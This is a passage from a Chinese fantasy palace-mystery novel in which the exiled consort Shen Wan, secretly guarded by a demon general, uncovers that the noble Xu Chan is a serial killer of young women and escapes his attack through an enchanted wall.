“模样儿好,性子也活泼,若非我的孙儿都是些胡打海摔掼了的破落户,没得糟践人,我看了都喜欢。”
“哎哟,殿……殿下不用费心,我是野丫头,没得辱没了贵人,爹娘还想多留我两年,殿下不必为我不必费心,不必费心。”狐狸没想到能来这一出,说话都结巴了。
魔情在旁边听得轻笑出声,沈纨在宫外不知怎么又见到了这只小狐,今日不知发生了什么,竟变作女子混进来,如今自作自受,好不尴尬。
他不禁瞟了沈纨一眼,见她在旁低着头,努力忍笑的样子,发现天子在看她,心照不宣地对视片刻但很快又别开目光,耳根有些红,不着痕迹地分享了一桩尴尬趣事。
徐兰宁突然在旁道:“皇上,那边有几个表妹在放纸鸢,和妾一块去看看可好?春秋季候放个纸鸢除晦气,可保接下来这一年,妾和陛下都平平安安的。”
“好啊。”天子面无表情地站起来,与徐妃一同离去。
大长公主与沈纨略寒暄了些许近况,感谢她送阮氏前来,丫鬟们捧餐食上来,沈纨被安置在阮夫人身边落座,夫人陪着沈纨用完了饭,婢女来报,殷州刺史陈永和公子徐阐至,要一起去向长公主和徐老太爷请安,于是,阮夫人抱歉地离席了。
沈纨又意识到一件事,心中颇觉奇怪,徐虎之女不姓徐,而她的儿子却随了娘家姓,好生奇怪,难道殷州刺史实是赘婿?但陈永其实也出身于东洲有名的世家。
由于今日是家宴,气氛松弛,达官显贵差人进献的礼物络绎不绝,婢女们围着长公主伺候,忙得无暇顾及次要的客人,因此沈纨身边冷落下来,但没人在意她,反倒轻松许多。初九扒拉了两口饭,好奇那天上飞的纸鸢,到前头看徐家女眷们的纸鸢去了。剩下福锦在旁伺候,但这样一来,她有时间与福锦交谈,释疑了此前的一些困惑。
“阮夫人的确是长
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乐侯外室所出之女,本就长期养在外头的,还是公主做主认她回了徐府,只不过二十多年前出了件不甚光彩之事,阮夫人从了母性,随后又远嫁,这些年与徐氏少有往来,不过,毕竟是世家之后,也不能随便择个不上台面之人,坠了士族脸面。。”
“方才一同乘车之时,阮夫人提及徐氏,看着的确容色踌躇。”
福锦张望了一下四周,确定四下无人,这才小心翼翼地继续道:“其实在京里也不是什么秘密,那位阐公子,实非夫人和刺史所出,夫人未嫁前就别有情郎,在外诞下这位公子,徐氏引为丑事。
“徐公子稍长了几岁,彼时徐氏在朝中权柄日盛,连公主都退了一射之地,长乐侯认为终究是自家骨血,才将这个外孙认了回来,没人知道公子的生父是谁,也就跟着姓了徐,虽是同姓,实乃徐家两位公子的表兄弟,而夫人当年离府改姓,如今也不曾改回来。”
阮夫人之母本为外室,而后她又未婚有孕,可以想象她当年的处境,恐怕遭遇过不少非议,其中的苦处难以言说,她的气质看起来也颇为柔弱,有些难以言说的愁绪萦绕。
正说着话,离席有一阵子的初九怒气冲冲地回来。
“阿九,你去了哪里?”
“那老东西,手脚不干净!”
沈纨轻咳一声:“福锦姑姑,先回避一下。”
“这……喏。”福锦如何不明白,面色尴尬,赶紧起身回避。
福锦识相地站远了,沈纨问他:“又发生了什么?”
“那边来了好多画师,要给大长公主画容像,还有什么游春图,还有要为陛下和贵妃作画的,那老东西趁着大长公主坐在旁边的亭子里,拽着我的手不放,哎呀,那个手,鸡皮似的,一股老人味。”
“那你是怎样脱身的?”
“哼,小看吾族,这有何难。这老东西现在闹肚子去了,最好淹死在茅厕里。”
沈纨也忍不住笑出来:“哎呀,你真是的,他都那么大年纪了。”
“一把年纪了,府里还那么多小妾,也不怕哪一天死了。”
沈纨忙竖起一根手指放在唇上:“这不是在风泽山,可不能混说,你无事便好。”
狐狸的把戏造成了一个后果,徐家太爷突然坏了肚子,致使好好的生日宴和游春提前结束,阮夫人携夫婿与子徐阐前来道谢,感谢沈纨送她来到春秋原。徐府的家眷有虎贲军,天子和贵妃都有严密的禁军护卫,相比之下,沈纨的护卫人数显得很少。
“近日京城仍不算安泰,婕妤娘子所居何处?臣可托金吾卫加派人手,护送娘子回京。”徐阐很是客气,提出加派护卫人手送沈纨回去,此前同阮夫人交谈她已得知,徐阐也是今年才在京城履职,虽然上一代有错处,但徐氏并未因他身世可疑就薄待,他如今是京城金吾卫的卫官。
“不妨事,陛下也给我派了禁军,今日送夫人来春秋原,也是举手之劳。”
“那么阿九姑娘呢?可需要吾等安排护送?”
“阿九跟着我,回京之后,我自会送她回侯府。”
“臣平日奉职永宁坊南衙,娘子居于宫外,毕竟不如在宫城,若有任何需求,只管提便是。”
“多谢徐公子,好意心领了。”
“既如此,有缘再会。”徐阐恭敬地行了个礼,佛珠手串在他的手腕上轻轻晃动,告辞而去。
她和初九,福锦一道出来,天子身边世家环绕,贵妃及其家人皆在他身旁,她无法和他再有任何交集,相比人数众多的虎贲军和皇城禁军,沈纨的禁军护卫就显得人数寥落,但她在自己的马车前,却看到了意想不到的人。
气质飘渺的云护卫竟现身于她的马车旁。
26. 意外
“云护卫?!你怎知我今日在此?”
“吾奉天子命保护娘子,知晓娘子的去处是分内事。”
云生神出鬼没,她昨日有禁军护送,心下放心,也就没有通知云生,也不知他如何知晓了她的下落。与徐家火烈烹油般的威势相比,她如今的境遇不免寥落,但云生是天子为了保护她特意派来的,如今见到他,突然多了些别样的亲切。
混沌无需凡人的肉眼,他的感知比眼睛所能见的更加细致明确,他知沈纨见到他很是欢喜,笑容美丽,忍不住也报以一笑。
“那么,我先走了。”云生身旁传来一个低沉粗犷的声音。
云生身边有一位非常高大的武人,相貌颇不似中原人,脸庞轮廓深邃,与苍白瘦削的云生相比,他气质粗犷,相貌却俊美异常,一头长发随意挽起,如火焰般并不服帖,黑中隐透暗红,显得粗犷而又野性,目光凌厉,非常侵略性,甚至给人一种接近兽态的贪婪。
沈纨从未见过气质这般粗犷的武者,光是看他一眼,心下就不禁有些畏惧,一旁的福锦和狐狸也被慑住了,初九仗着自己是精怪,比人族长命,又有些修为,平素也觉得比凡人高上一等,但面前这武者气场极强悍,实实在在地把他震慑住了。
狐狸毕竟多活一百年,知道世间卧虎藏龙,多有奇人轶事,皇帝是真龙天子,深不可测,而今这两位气质特殊的武者,以他修了百年的相术,竟什么都看不出来,但越是如此,他反而知道,这是两个不能招惹的狠角色,比今日在春秋原见到的那些训练有素、披坚执锐的虎贲军和禁军,加起来都要危险。
“沈婕妤,百闻不如一见。”那形貌粗犷的武人把手放在胸前,微微倾身,行了个奇怪的礼,也不等沈纨有所反应,就迈步离去了。对于天子的嫔御而言,如果他和云生一样,只是一个护卫,这般行礼极不合规矩,但他气质过于慑人,沈纨一时间竟然忘了做出回应。
魔情和徐兰宁一同出来,饕餮早已隐去了身型,留下涌动的魔语,语气里透着明显的贪婪,急于想要吞噬些什么:
【公子,时候可到了?】
徐兰宁在日间大致还算是清醒,如今她作为宫里唯一的女子,有大把世间与天子亲近,魏国夫人和祖母大长公主也为她百般求药,只求早日诞育皇嗣,大婚自然也在紧急筹备中,但不知是不是调理方式不对,她每入夜极度嗜睡,有心亲近天子,却始终不得其法。
一个大魔突然在附近现形,魔语涌动,突然唤醒了附在徐兰宁身上的梅妃,她眼睛泛起黑气,发出奇怪的声音,看上去不安又惊恐。
大长公主和魏国夫人就在他们身后,魔情扶住徐兰宁:“春寒料峭,贵妃可别着凉了。”他推着徐兰宁上了御辇,落座之后,才以魔语答复饕餮:
【尚不是时候,你且退下。】
【遵公子命。】
魔将的气息消失了,天子鸾驾启动,浩浩荡荡地向长庆宫而去。
禁军护送沈纨折返京城,回程先去了云阳侯府,在角门放下了初九,狐狸进了后街,待车马离开,从巷子里缓缓踱出一个算卦先生,一身道袍,留着一把胡子。
许是掘出尸骨之故,京城颇消停了一阵,一段时间内不曾再听闻命案。
临近十月十五日,正逢下元节,银杏居里准备起香烛祭品,祭祀水官大帝,白露一早乘马车同家丁一道去市集采买,人却失踪了,虽然沈纨已经出宫,但宫中依然会按照婕妤的位份,隔数日将份例至银杏居,但毕竟身在宫外,去市集采买很是方便,白露在市坊间热闹前来才出的门,没想到却一去不归。
这个时节年轻女子失踪,多数凶多吉少,天色越来越晚了,沈纨思来想去,还是决定差人先去报官,但就在快天明时,门外一阵急响,沈纨担忧了一夜,将好不容易才入睡,就被迫切的敲门声惊醒了。
福锦前去开了门,白露竟全须全尾地回来了,送她回来的是巡夜的金吾卫,知她住在左近,又在凌晨,遂将她送回了银杏居,白露无事,但同时却另有遇害女子,他急着处理命案,也未多言,很快就离开了。
沈纨披衣而起,和蒹葭赶着来见她,白露除了身上有些挣扎的淤青,确实没受伤,但她受了极大惊吓,说话语无伦次,只能先安抚她,万幸人没事,沈纨命她先休息,让蒹葭守着她,自己先回了闺房。
但回去也没有睡意了,她胡乱躺了两个时辰,天明时福锦来报:“娘子,白露现在好多了,她让奴婢来问一句,娘子是否想要了解什么,她可以现在就过来。”
“我去瞧瞧她吧。”沈纨说着站起来,随便地挽了挽头发。
白露歇在自己的房间里,红着眼睛,一副受到极大惊吓的样子,她已经梳洗过,也换了衣裳,蒹葭还特意给她热了吃食,休息了两个时辰,虽然毫无睡意,但差不多缓了过来。
福锦出去张罗早膳,沈纨在她身旁坐下问道:“昨夜发生了什么,你可是见到了凶徒?”
“奴婢午时从书画斋里出来,有位公子,拿了一摞书画,求我帮忙搬上马车,我瞧他说话礼貌,人也面善,也就允了,没想到他马车在巷子里停着,外面那么多人,他就敢直接掐了我喉咙拖走,那人好大的力气,不知道用了什么手法,我晕了过去,醒来就已在一间暗室之内。”白露回忆起可怕的遭遇,又忍不住发起抖来,开始淌眼泪。
沈纨也不刺激她,只是耐心等着,白露擦了擦泪继续道:“我……我看见了琪娘的尸身,那么多天了,尸身都快认不出来了,她死状好惨,下颌被打碎了,天花板上都有血。”
“你是如何脱身的?”
“这就是奇怪的地方,那凶徒好生残暴,碗口大的粗木棒直接打过来,但不知为何,他没打中我,那木棒碎了,还回弹到他身上,他就晕了过去,我不敢久留,趁夜逃了,路上遇到了巡夜的金吾卫,将我送了回来。”
“你可还记得此人样貌?”
“那人出身谈吐皆不俗,衣饰打扮也考究,看着不像是一般的人家,手上带着一串佛珠。”
沈纨愣了愣,决定支开在一旁陪伴的蒹葭:“茶水有些凉了,去换些新茶来。”
她支开蒹葭,随后挨近白露,低声问:“他带着佛珠?你可还记得是什么样的?”
“一串黄色的珠子,每颗也不大,奴婢瞧那样式,应是一百零八颗的念珠,有金色梵文,在手腕上绕了好几圈。”
沈纨沉默,又和白露对了对那凶手的身高长相,越听越是觉得不详,她
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接着问:“你觉得那人可认得你?”
白露不确定地摇了摇头:“那凶徒我从未见过,我如今出门,除了沈府的旧人,也不曾对外头的人说过,我是宫里出来的,是娘子身边的丫头。”
她心中忽然有个人选,但这个候选人却让她不由得有些恐惧。
“此事你暂不可对外人说,福锦和蒹葭也绝不可提,她们问起,就说是我的命令,你这些日子先留在银杏居内,也别轻易出去了。”
“娘子,我还找到了这个。”白露泪汪汪的,递给沈纨一串珠花。
“这是?”
“琪娘的遗物,我逃跑的时候拿出来的。”珠花上还带着血。
这算是颇重要的物证了,沈纨那帕子包好收了起来,再次叮嘱白露保守秘密。待蒹葭换了热茶进来,福锦也跟在后面,端来了热气腾腾的梗米粥,枣糕和羊肉包子。沈纨把白露近日不出府的决定告知她们,并要求今后银杏居的女子无论是谁,若出府都必须叫上云侍卫。
与此同时,在长庆宫的帝寝之内,徐妃今日再次留宿徽元殿,殿内鬼气森森,今夜不但闹鬼,还有魔将在内,混沌正向魔情报告几个时辰前白露遇袭的情况。
“沈姑娘身边的丫头今夜遇袭。”
“她受伤了吗?”
魔将摇了摇头,他的职责主要保护的是沈纨,但魔情在银杏居划出的是一片安全的居所,因需要庇护的人不多,大家不同程度地都沾了沈纨的光。今夜白露遇袭,混沌察觉得晚了些,以至于她被掳走,但幸运的是他介入得及时,白露没有受到伤害。
徐阐想用大棒直接打碎她的脑袋,被混沌设法将攻击回弹,他伤及自身,反倒晕了过去。
“此人可要处理?”
“尚有用处,现在叫他死了,来生投胎不过一条烂命,岂不便宜了他。”
梅妃在旁突然阴恻恻地发话:“何不把那人交给我。”
混沌尚不知人面蜘蛛的前情,他早看出来徐贵妃有些不对劲,但她每次来侍寝,总是睡得人事不省,任由体内的怨灵阴恻恻地出现在寝殿的角落,公子也不理会她,今日见她第一次发话,混沌皱眉道:
“你有什么用?”
“我和徐氏有仇,此人迟早有报应,何不让我给他点折磨。”她没有舌头,传达出的鬼语仿佛阴风哭号,吓得今夜在外间值夜的太监跪在地上疯狂念佛。
“你此前伙同人面蜘蛛,害的人也不少。”魔情在旁说:“你去害他对自己并无益处,若选择往生,下辈子依然能投个人身重新修行,损人不利己,何必如此?”
“我要看徐家的末日。”梅妃执拗地说:“小皇帝,你也该谢我,否则这徐妃成天惦记和你相好,你待她却不如沈婕妤真情,若真有皇嗣,世家会让你的处境更不好过。”
“那种事是不可能的。”魔情不理会她话语间的某些明示。
梅妃阴沉地看着魔情和混沌,她也只是个怨灵,能力有限,这位性格古怪的少年天子和他气质奇异的部下不知为何从不惧她,她惨死后才知万物有灵,在这之上还存在哪些更广阔不可解的世界,却是毫无头绪。只是她偶尔会有所忌惮,小皇帝和他身边的神秘部下,有并不可以轻易招惹的奇妙气质。
27. 意料之外
银杏居有两个负责杂事的僮仆,平素都歇在外院,沈纨一早派其中一位去信沈府,她要先见见父亲,说明白露的遭遇,徐敦的外甥如今有极大嫌疑,不知官府是否能妥善处理。
虽然银杏居有男性家仆,如今需要外出的诸事都尽量托付他们,但时常也会有些杂事需要福锦或两个丫头外出,她今日叫来云侍卫,要求他日后除了她自己,凡福锦和蒹葭白露因事外出,他必须随行保护。
其实,沈纨的银杏居,算上她,以及宅院里另外五个人,都已经处于魔将的保护之下,混沌其实昨夜已经救了白露一次,但他不能言明这点,只是强调道:
“娘子如此说,吾自当遵从,但若有危机,卑职必以娘子为先。”
“我自己也会注意的,多事之秋,云护卫,有劳了。”
今日正逢宫中派人来银杏居送份例,她毕竟身份上仍是天子的沈婕妤,虽然已不在宫里碍贵妃的眼,但日常的吃穿用度不曾短缺,偶尔有需求,亦可回报宫廷。
此次来送份例的女官与姜夫人娘家素来亲厚,听得沈纨和这名神秘侍卫的交谈,银杏居居然只有一个侍卫,心中颇替沈婕妤觉得凄凉,她被迫出宫,住在一个门面极差的宅院里不说,如今京城不甚安定,身边连足够的人手也无,她忍不住道:“婕妤娘子,近日京城既不太平,何不请求陛下增派些护卫,奴婢可以替娘子将书信呈送。”
“人多了会有老鼠。”云侍卫突然说了一句奇怪的话。
银杏居是一个处在魔族保护下的区域,群阴退散,就如同白露,遇到危险,混沌会出手相助,但正因如此,人数不能太多,否则遍地神迹,迟早会引起不必要的麻烦,譬如道域的关注,而魔气太盛,也会招来魔界的生灵,譬如此前的桂花鼠。
但沈纨误解了混沌的意思,还以为他指的是世家的耳目,这也有理,她决定信任云护卫,回绝道:“多谢姑姑美意,陛下的安排已经很妥当,银杏居并不需要更多人手。”
女官心下黯然,但也只应了个喏,不再多言。
不久后,派去沈府的小厮归来,带来了姜鸾音的复信,信中写明了沈景休沐之日,又对女儿说,如果想家,随时都可以回来。
这正是用上云侍卫的时候了,沈纨回房写了复信,写明返家的日期,差小厮送返沈府。
福锦知她近日又要出门,很不赞同,沈纨宽慰她:“姑姑不必担心,银杏居的地道通往万福客栈,我今次归家,母亲会派车马前来相迎,家中不缺护卫,又有云侍卫同行,不要紧的。”
于是两日后,逢着父亲休沐之日,沈纨带上琪娘的遗物,与云侍卫一同自地道离开,走了不到半个时辰,来到崇德坊的吉祥客栈,从一间酒窖里出来,她此前走过一次这个地道,总是心中奇怪,这酒窖看起来总是少有人活动的痕迹,却是半点灰尘也没有,而人从内出,她每次都不由得悬着心,担心被人发现,引起怀疑。
殊不知这奇异的地道,在外人看来,不过是稀松平常的一堵墙,人从内出,仿佛一堵空气墙出现波动的涟漪,只是一时的空间扰乱,不但能很快恢复正常,也不会引发多余的关注。
客栈门口停着马车,而赶车之人,正是沈府的家丁。
沈纨带着帷帽出行,不露身份,车夫也许提前得了消息,心照不宣地点了点头,并未多问,就这么让她上了车,云侍卫和车夫一起坐在赶车的位置上。
云生一进沈府,人就飘渺不知所踪,沈纨给父亲看了琪娘的遗物,并说了白露的遭遇,官府查案,一直苦于毫无线索,如今嫌犯直指徐敦的外甥,沈景震惊之余,亦觉此事颇难处理。
“白露逃离时,可记得自己身在何处?”
“那晚天色昏暗,白露只记得在崇化坊附近,离西市不远,附近有三层楼的茶楼,门口悬着四个灯笼。”
“如今应以先找到琪娘下落为先,否则仅凭这带血的物件,恐难以指认。”
“白露还说,那间屋子里,尚有其他的残躯,若能早些让他落网,也能少些女子再遭他的毒手。”
“你这几日也要多家小心,不可让人知晓白露是你的丫头。此事且先交由爹爹处理,不必过多涉足。”
“爹爹也要一切小心。”
她本应在见了父亲之后就回去,但双亲不舍,还是在沈府多住了一夜,在翌日一早,趁着天明而人尚不多,由家丁护卫,乘着马车返回银杏居。
福锦正等着她回来,禀明要外出一趟,需要云护卫同行。
前些天宫里送份例时,有相熟的尚药局女官替她写了不少日用得上的医方,送去崇德坊的素问堂,那里的医馆主看女科,小厮去有所不便,只好福锦去。素问堂还是琪娘拜师的医馆,正好也能打听一下消息,兴许是之前受了惊吓,又在寒夜里冻着了,白露这几日病怏怏的,也需要为她抓几副药回来。
沈纨叮嘱福锦要对白露之事保密,将福锦托付给了云侍卫。
混沌却察觉到了些异状,凶手不知是何原因,出现在了银杏居所在的坊内,这也意味着,沈纨离危险不远。
他一是沉默,沈纨以为他不情愿,忍不住劝道:“云护卫,我们此前是如何约定的,福锦姑姑于我是重要之人,应确保她安全。”
“吾归来前,娘子绝不可出府。”
“这是自然的。”
沈纨让福锦乘上沈家的马车,几名沈府的护院随行,还有云侍卫跟随,福锦的安全应当是万无一失了,偏就在此时,命运却开了个天大的玩笑,即将入冬,晨间常有大风,沈纨的一条锦帕被吹到了院墙之外,这是近日母亲为她绣的,意义非凡。沈纨踏出外门去寻锦帕,帕子就落在门外五步之内,本没什么危险,但她拾了锦帕抬起头来,
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心却突然悬到了嗓子眼。
徐阐正站在在银杏居斜对面的绸缎庄,正在和一个年轻女子搭话。
沈纨意识到,他很会挑选受害者,都是些气质年纪差不多的女郎,出身不算高,受害者少有官家女子,但多有书卷之气,若非读书人家的女郎,也是大户人家里教养得好的丫头,身姿纤秀,面容姣好,而且气质多面善,遇上年轻英俊的公子寻求一些举手之劳的帮助,一般也不会拒绝,有此提供了可趁之机。
想到白露所述的琪娘惨状,沈纨心脏突突直跳,害怕又紧张,但事不宜迟,耽搁恐又有女子被害,她急回闺中拿了帷帽和一盒玫瑰胭脂,然后孤身出了银杏居。
天色尚早,如意坊内行人还不算多,绸缎庄也开门未久,那女子与徐阐站在绸缎庄门口说话,沈纨走过他们二人,撞了一下那名女子,那盒玫瑰水粉都泼到了她身上,她柳叶色的衣裳顿时就被染红。
“啊!你怎么这般不小心。”
“真是对不住,这位女郎,我与此间老板相熟,且先进来换身衣裳吧。”
她这么说的时候,冷汗都冒了出来,疑心那徐阐认出她的声音,也不管这女郎如何应对,强行将她拉进绸缎庄内,在掌柜面前放下一锭银元宝,让她给这位污了衣裳的女郎挑件合身的衣裳。
“哎,你这小娘子,怎么这般冒失?这绸缎庄的丝衣,我也买不起呀。”
“无碍的,是我有错处在先,女子且随我来吧。”
也不知身后的徐阐有何反应,想到此人手上甚多人命,手段凶狠,不似他的舅父徐敦,战场杀敌,你死我活无可厚非,而是不知出自何种目的,是个虐待狂,她把那陌生女郎推至里间,已是汗流浃背。
面前的姑娘气度文雅,虽然脏了衣裳,面色有些不豫,但并未发脾气,虽然语气带着责备,依然斯文有礼:“你这女郎,看起来也是个好人家的女眷,怎么竟是个急性子,走路既不小心,想要赔罪,也不问问我的想法。”
“实在是对不住,我是一时情急,近日京城颇不太平,我家中亦有亲眷受惊,我也为此心神不宁,这才冲撞了女郎。”
“原来你说的是那事,我也略有耳闻,不过光天化日,凶徒岂能造次。”
“女郎此言差矣,家父正是六部官员,对近日这桩大案亦有耳闻,有些女郎就是在日间失了踪迹,所以出行小心些准没错,今日污了娘子衣裳,过意不去,不知女郎是谁家的女眷,我就住在左近,稍后差人用车送女郎归家。”
“我不过是光明坊一户商家老爷家中的绣娘,唤我京娘便是,女郎又是哪家的女眷?”
沈纨有些迟疑,最后还是决定据实以告:“家父是礼部郎中沈景。”
名字听得耳熟,京娘蹙眉,思量一番,突然灵光一现,恍然大悟道:“你……你是那个闻名京城的沈婕妤?!”
28. 穿越灵墙
沈纨被她认出来,却有些不好意思:“女郎如何得知?”
“沈娘子可是京城出名的美人呢。”她打量沈纨,点头婉然一笑:“我早该认出来的,再说,和陛下的故事,无人不好奇的。”
“惭愧,那么女郎总信我说的了吧?就让我差人送你回家,如何?就当赔罪了。”
“婕妤娘子一番美意,草民推辞反倒不识抬举了,多谢娘子。”
她还是不太放心,不由提醒道:“家父就职京中,同侪正为近期的命案烦忧,官府怕引起恐慌,有意压了消息,近期女子失踪之事比坊间传言严重得多,望女郎放在心上,方才那人形迹可疑,当留个心眼,多加提防。”
“既是婕妤娘子的提醒,我岂有不放在心上的,我会注意些的。”
京娘换了衣裳之后,沈纨托绸缎庄的老板娘去银杏居唤来家丁,送京娘回家,她在铺子里又静候了一阵,确定徐阐已不在附近,这才戴上了帷帽,小心翼翼地踏出了铺子。
银杏居就在对面,距离并不远,正因如此,她才大着胆子,在凶徒眼皮子底下冒险出来,她呼出一口气,穿过街道往银杏居正门而去。
“婕妤娘子。”她听到了一个不急不徐,似乎带着笑意,却让她感到毛骨悚然的声音,徐阐从银杏居不远处的巷子慢慢走出来。
沈纨强迫自己冷静下来,转身面对他,家就在几步之内,但如今云侍卫不在,两个家丁,其中一个如今送京娘回家未归,也不知她如今的身份是否能镇住他。她原本对天子的安排并无怨尤,如今面临危险,才觉得府中可用的人手到底还是太少了。
徐阐面带微笑地问候她:“多日不见,娘子一切可还安好?”
“原来是徐公子,虽然不如宫里的生活事事具备,但在宫外也有在宫外的自在,令堂近日可好?”
“家母时常提及娘子,日前一别,总无机会亲自道谢,如今可巧,母亲今日前往青龙观进香,就在如意坊东边的两个坊市之外,娘子可有兴致前去用些素斋,好让母亲表达谢意。”
“多谢郎君美意,但男女授受不亲,我身为天子嫔御,岂能再外乱跑的,就此别过。”
她起身迈步要走,绸缎庄与银杏居近得连一射之地都没有,这么近的地方都避不开徐阐,她心中懊恼自己的坏运气。
没想到徐阐当街拦住了她。
“母亲甚为惦念娘子,苦于没有机会单独致谢,青龙观不远,考虑一下吧,婕妤娘子。”
“郎君不可放肆!我已说过了要事缠身,你依然试图拦阻是何居心?”
她避开徐阐的手臂,加快步子往银杏居而去,没想到徐阐一把扯住她,他看着文秀端雅,没想到手如铁爪般,她受惊之下,反应剧烈,猛地推开他就往银杏居跑
徐阐追上前来,意图扭住她,沈纨呼救,她的挣扎引起路人侧目,徐阐似乎武学修为也不俗,扣住她脉门,令她突然感到身体酸软无力,面带微笑地对侧目而视的行人道:“对不住,和我家娘子有些龃龉,见笑了。”
由于时辰尚早,路上也仅有零星的路人,听闻是小夫妻打架,更无人在意她的呼救,徐阐从银杏居前想把他拖到民居之后的巷子里,沈纨瞥见银杏居旁的民居地上有个炭炉,不知从何处生出一股莽劲,她抓起里面的烧火棍劈头打过去。
炭火的余热令徐阐痛叫出声,一时间松了手,沈纨快步前跑,被徐阐几步追上前来扭住,她身体撞向银杏居的外墙,但就在此时,发生了怪事,本该坚硬的砖石院墙像突然消失了一般,仿佛穿透一层水面,她跌进银杏居之内。
眼前出现难以理解的怪事,她回看院墙,素色的砖石墙面变得像泛着涟漪的水面,她看见了另一侧的徐阐,但他眼神并不聚焦,好似看不见她,突发情况激发了银杏居的保护,会混淆入侵者的判断,徐阐只知道猎物突然消失了,逃走了,却无从得知去了哪里,满心狂怒。
隔着一道墙,沈纨清晰地看到了他狂怒的神态,似乎因恶意的企图失败,他面相全变了,像一个失智的疯子,五官都扭曲起来,叫人观之不寒而栗。
随后出现了更难以理解的状况,徐阐身后突然出现了憧憧黑雾,在他身后聚拢。
混沌跟着福锦去了崇德坊的素问堂,这本是个毫无难度的护卫任务,早市刚开,沈家的车夫趁福锦在医馆的间歇,到素问堂对面的食摊买饼吃,混沌坐在车上,突然感受到银杏居出现了不寻常的扰动,他一闪身不见了身影。
沈纨隔着半透明的墙,看见徐阐身后出现奇怪的黑雾,像没有面容的黑袍怪物突然间出现,自他身后还伸出一把黑色的长刀,随时要自他身后劈下去。时间似乎停了下来,那片黑雾在凝滞了片刻之后突然消失,留下魔将非常强大的压迫感,徐阐一生中行事作风异于常人,头一次却感受到了莫名的恐惧,死亡的屠刀短暂出现,却又从他头上移开,他想要谋害的企图心罕见地遭逢失败,怀着怨恨而去。
半个时辰后,混沌护送福锦从素问堂回到了银杏居,他暗中留意沈纨的情况,她今晨险些险些遭遇不测,面色还有些苍白,但为了不引起担忧,她把这个秘密咽了下去,丝毫没有提起。
远在长庆宫之内的徽元殿,魔情感受到不寻常的魔气扰动,混沌比预计中出现得晚了些,向他报告了沈纨遇袭的情况。
“你把那人杀了?”
“并未。”魔将摇头,魔族不轻易介入人间的善恶,他们与道域那些一心惩恶扬善,心系天下的修行人,思维和言行有明显的不同。
“但是,”混沌补充道:“但沈姑娘和其父已经意识到此人存在。”
“哦?”这就有些意思了,他觉得沈纨颇有些嫉恶如仇的性子在里头,否则也不会在他们初见时,如此多管闲事,但介入此事是有风险的,徐阐是徐家人。
“可要属下清理此人?”
“你只需确保她周全,其余暂不必有所行动。”魔情阻止了混沌,其实有些变化快了,不必魔出手,人间自会有结果。
不过在当下的银杏居,气氛依然压抑,白露还在病中,沈纨也心事重重,今日徐阐在她面前撕开了伪装的面皮,徐氏是否知道,自家出了这么一个穷凶极恶的子嗣。还有这奇特的银杏居,她此前曾对天子
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将她安置在此,危机中可用之人如此寥落心怀不平,但她如今知道这不是个普通的地方了,天子已多日不见,那神秘、让人猜不透心思的陛下,究竟在想些什么?
她怀着心事度过了两天,到第三天清晨,才迟来地知悉了一桩已然轰动京城的噩耗,就在她遇袭的当夜,平康坊内的一间青楼有四名女子遭到袭击,凶手趁夜摸进青楼内,用大棒重击头部,两名女子被打死,另外二人侥幸未死,但如今重伤,奄奄一息。
事后官府来查,一点财物未失,像是一场纯粹的泄愤之举。
沈纨听闻噩耗,感觉如坠冰窖,昨日遭遇的恐惧又再次袭来,她为了避免引起担忧,对遭袭之事隐而不谈,但她记得徐阐那失智狂怒的神情,可以想见,前日她和京娘逃脱了毒手,凶手为了泄愤,跑去平康坊夜袭那些风尘女子。
她思量一番,摸出瓷哨,唤来了云侍卫。
“婕妤娘子有何吩咐?”
沈纨仔细地打量着他,有风泽山狐狸客栈的前车之鉴,又意外穿越银杏居的怪墙而死里逃生,她打量着眼前这气质飘渺的青年,内心已开始疑惑,他是不是人类?
她以为他目盲,因此目光并不掩饰,但混沌日常在周遭十里内近乎全知,若是施展他强大的灵识,甚至能够穿透不同的世界,触及更遥远的地方,他“看”得见,但肉眼又对他无用,知道沈纨在盯着她思考,内心微微一笑,面上却并不显山露水。
“云侍卫总是来无影去无踪,平素的厢房也不见你使用。”
“不过是起得早,睡得晚罢了,若太引人注意,如何当暗卫。”
沈纨一声叹息,知道问也透不出什么底细,她决定先提正事:“你稍微与我一同去趟沈府。”她需要去见父亲。
混沌心知她的意图,但只是点头道:“遵娘子命,但福锦姑姑那,娘子欲如何解释?”
福锦事事妥帖周到,她们虽是主仆,但如今逢多事之秋,对她有时形如母女,她这些时日欲出门,都得绞尽了脑汁说服她,她不禁问云生:“云护卫可有什么法子?能让福锦姑姑多睡一会儿?”
混沌并不接她的有意试探:“娘子难道要吾打晕福锦姑姑?但吾一介武夫,恐下手过重。”
她气馁道:“这便过了,我还是好好和她说说吧。”
就在此时,福锦自偏院出来,表情有些古怪地前来请安:“娘子,可否随奴婢来一趟书房。”
“发生了何事?”
“今日有贵客前来,要见娘子。”
“贵客?”沈纨心中纳闷,她在银杏居数月,泰半时间,还是深居简出,这几日也不曾接到任何人的拜帖。
她随福锦进了书房,见到来人,忍不住掩口惊呼:“爹爹!”
“臣见过婕妤娘子。”
沈纨慌忙上前去搀扶父亲,心酸道:“此间无外人,爹爹就不必拘礼了。”
福锦知悉他们有要事相谈,退出了书房,并阖上房门。
“爹爹怎么会想到今日来见我?”
“我觉着你这几日怕是要想法子来见我,倒不如我过来见你。”
29. 败露
“爹爹可听说了平康坊的命案?”
沈景点头:“正是为此而来,白露何在?”
“她此前又是受惊又是受寒,如今仍在病中,爹爹要见她?”
“你前日来见我,指明徐阐有最大嫌疑,眼下只知白露是唯一逃脱其毒手的女子,除非她当面指认,否则并无其他凭证,但她是你丫鬟,你如今身份特殊,不便过多卷入此事,我此次前来,是想问她是否还能记得那人之形貌,若能画出容象,亦可作为比对。”
“原来是这样,但白露如今抱病,恐怕病气会影响爹爹。”
“事关重大,让她过来吧。”
“还有一事……”沈纨踌躇道:“我离家近一年,笔墨都有些生疏了,只怕难以绘出合适的画像,恐怕作画之事,需要爹爹亲力亲为了。”
沈景一愣,继而笑道:“这倒有些不似你了,但这也不妨。”
其实,她是因为今晨才见到徐阐,怕先入为主,爹爹也擅长丹青,若根据白露描述画出来之人亦像徐阐,这般三方比对,凶徒是此人的可能性就更高了。
于是沈纨启门传话福锦,让她去叫白露,而她在书房里替父亲准备好笔墨纸砚。
白露烧得头昏体热,三天下来,热度退了些,但看起来依然有些虚弱,她进来请了安,但并不靠近书案,而是拿了个红木凳子坐在一角,描述徐阐的长相,沈纨站在一旁协助父亲,时不时拿起纸,将沈景画出的人物五官展示给她看。
如此一个多时辰过去,总算拼凑出一张画像,沈纨看得心里有数,这的确已相当形似徐阐了。
“辛苦你了,快回去歇着吧,”
“奴婢还在病中,难以伺候,茶也凉了,可要奴婢让蒹葭或福锦姑姑更换些热茶过来。”
